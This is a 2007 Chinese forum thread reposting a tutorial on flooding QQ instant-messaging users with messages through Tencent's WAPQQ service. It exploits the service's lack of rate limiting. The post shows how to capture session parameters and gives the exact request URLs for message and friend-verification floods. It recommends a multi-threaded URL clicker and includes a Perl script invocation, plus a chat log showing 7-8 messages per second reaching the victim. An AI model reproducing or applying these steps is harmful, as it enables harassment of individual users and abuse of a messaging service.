电脑网络销售与维修

查看完整版本: 基于WAP的QQ消息洪水攻击

heben 2007-8-20 08:18

基于WAP的QQ消息洪水攻击

目前用于发送大量消息来攻击QQ用户的软件还不少,但是多数软件是使用基于QQ客户端的方式来发送信息的,它们先获取句柄然后向QQ消息对话框中发送信息并自动提交。这种方式有不少不足的地方,首先现在新版的QQ已经在发送速度上做了限制,如果提交的速度太快,QQ会提示“对不起,您说话太快了,坐下来,泡杯咖啡休息会儿吧”,其次在攻击一个用户的时候,只可以开一个对话框,所以只能进行单线程的攻击。有这两条限制攻击的效率肯定是不理想的,而我要介绍的基于WAP方式的攻击方法将不会受到这些限制。<br/>  腾讯公司提供了WAPQQ服务以方便移动用户可以使用简单的QQ功能(WAPQQ服务的详细<a class="ReplaceKeyword" href="http://www.hugesky.com/search.php?search_keyword=内容&amp;selectsearch=text&amp;selectop=art&amp;postsearch=1" target="_blank"><font color="#000000">内容</font></a>请参<a href="http://mobile.qq.com/wap/index.shtml"><font color="#000000">http://mobile.qq.com/wap/index.shtml</font></a>),用户可以通过WAP方式发送QQ信息给好友,可以提交验证信息等。可能是开发人员认为用户不会拿昂贵的无线上网费用开玩笑,WAPQQ没有对用户提交的数量和速度做任何限制,这样给我们的攻击提供了方便。<br/>  我们首先使用WinWAPhttp://www.winwap.org)浏览器来访问WAPQQ的站点。<br/>  进入QQ聊天以后使用发起攻击者的帐号登陆。<br/>  (这里出现了乱码,原因应该是腾讯的WAP站的问题,使得通过WinWAP来访问QQ的时候会显示不正常,虽然文字显示不出,但是功能还是照样能用,密码下的一行就是登陆键,帐号输入后,点击登陆,进入WAPQQ)<br/>  进入WAPQQ后将鼠标移动至第三行。<br/>  我们将会得到目标URL为<br/>  <a href="http://waptest.tencent.com/cgi-bin/wapqq_chat.cgi?Pc=20&amp;Pq=10001&amp;Pk=JVamUVSz&amp;PMisc_mid=123456789&amp;stn=gmcc_try"><font color="#000000">http://waptest.tencent.com/cgi-bin/wapqq_chat.cgi?Pc=20&amp;Pq=10001&amp;Pk=JVamUVSz&amp;PMisc_mid=123456789&amp;stn=gmcc_try</font></a><br/>  其中,Pq为刚才登陆的QQ号,Pk为登陆WAPQQ的SessionID,我们需要记住这个SessionID。<br/>  接下来我们需要利用一个多线程提交URL的<a class="ReplaceKeyword" href="http://www.hugesky.com/search.php?search_keyword=程序&amp;selectsearch=text&amp;selectop=art&amp;postsearch=1" target="_blank"><font color="#000000">程序</font></a>来对一个存在在攻击者QQ好友名单中的QQ用户进行攻击,这里我使用了超级点击机器II。为了能以更高的效率来攻击,我将它设置为如下图中的设置。<br/>  然后添加好可以使用的服务器后,添加要提交的URL。<br/>  我们要提交的URL为:<br/>  <a href="http://waptest.tencent.com/cgi-bin/wapqq_chat.cgi"><font color="#000000">http://waptest.tencent.com/cgi-bin/wapqq_chat.cgi</font></a>?<br/>  Pc=11&amp;Pq=10001&amp;Pg=&amp;Poq=10000&amp;Pk=0obWcsd5&amp;PMisc_mid=123456789&amp;stn<br/>  =gmcc_try&amp;Psendmsg=hi<br/>  其中Pq为攻击者的QQ号码,Poq为被攻击的好友的QQ号码,Pk为先前要记下来的SessionID,Psendmsg为需要发送的信息内容。于是上面一条URL代表由10001发送“hi”到10000。<br/>  添加过后点击开始,洪水般的攻击就开始了。<br/>  我们来查看一下被攻击者的聊天记录。<br/>  用户:10000(Roy)<br/>  --------------------------------------------------<br/>  消息对象:10001(ILOVESHAN)<br/>  --------------------------------------------------<br/>  2003-11-08 15:52:40 -<br/>  hi<br/>  2003-11-08 15:52:41 -<br/>  hi<br/>  2003-11-08 15:52:41 -<br/>  hi<br/>  2003-11-08 15:52:41 -<br/>  hi<br/>  2003-11-08 15:52:41 -<br/>  hi<br/>  2003-11-08 15:52:41 -<br/>  hi<br/>  2003-11-08 15:52:41 -<br/>  hi<br/>  2003-11-08 15:52:41 -<br/>  hi<br/>  2003-11-08 15:52:42 -<br/>  hi<br/>  速度还是相当快的,平均一秒钟可以发送7-8条信息给被攻击者。<br/>  以上的方法只适用于被攻击者已经是攻击者的QQ好友,但是如果被攻击者不是好友且不通过验证怎么办呢?嘿嘿,我们还可以使用<a href="http://www.hugesky.com/remote_pic" target="_blank"><font color="#000000">系统</font></a>信息来攻击他。<br/>  我们登陆WAPQQ后查看源代码,能够得到如下的信息。<br/>  &lt;a href="/cgi-bin/wapqq_chat.cgi?Pc=2&amp;Pq=10001&amp;Pk=t8yZzdVj&amp;Pg=e9998ce7949fe4baba00&amp;PMisc_mid=123456789&amp;stn=gmcc_try"&gt;<br/>  其中的Pk和Pg的值我们需要记录下来,然后我们提交如下的URL来攻击。<br/>  <a href="http://waptest.tencent.com/cgi-bin/wapqq_chat.cgi?Pc=27&amp;Pq=10001&amp;Pg"><font color="#000000">http://waptest.tencent.com/cgi-bin/wapqq_chat.cgi?Pc=27&amp;Pq=10001&amp;Pg</font></a>= e9998ce7949fe4baba00&amp;Poq=10000&amp;Pk= t8yZzdVj&amp;PConfirmInfo=HI&amp;stn=gmcc_try<br/>  Pq为攻击者的QQ号,Pg和Pk为刚才得到的字符串,Poq为被攻击者的QQ号,PConfirmInfo是提交验证时候的请求信息。<br/>  我们仍旧可以用上面提到的超级点击机器II来做攻击<a href="http://adminbar.com/tool" target="_blank"><font color="#000000">工具</font></a>,使用方法相似,这里就不再重复叙述了。如果你有兴趣你可以尝试自己制作一个攻击<a href="http://adminbar.com/tool" target="_blank"><font color="#000000">工具</font></a>,采用多线程,只接收几个字节的服务器回应,这样可以得到比超级点击机器II更高的速度。我也写了一个脚本,攻击速度没有点击机器快,因为是单线程的:(,不过如果你找不到可以用的攻击<a href="http://adminbar.com/tool" target="_blank"><font color="#000000">工具</font></a>也不妨试试这个脚本,如果10001用发送普通信息的攻击方法攻击10000用户10次,则使用如下的命令,<br/>  C:&gt;perl script.pl -a n -l 10 -y 10001 -t 10000 –g e9998ce7949fe4baba00 –k t8yZzdVj<br/>  (PK和PG的值可以通过上面提到方法来取得。)

棋逢对手 2007-8-21 11:02

啊&nbsp;

棋逢对手 2007-8-23 16:09

<p>没人踩我死命的踩</p>
页: [1]
查看完整版本: 基于WAP的QQ消息洪水攻击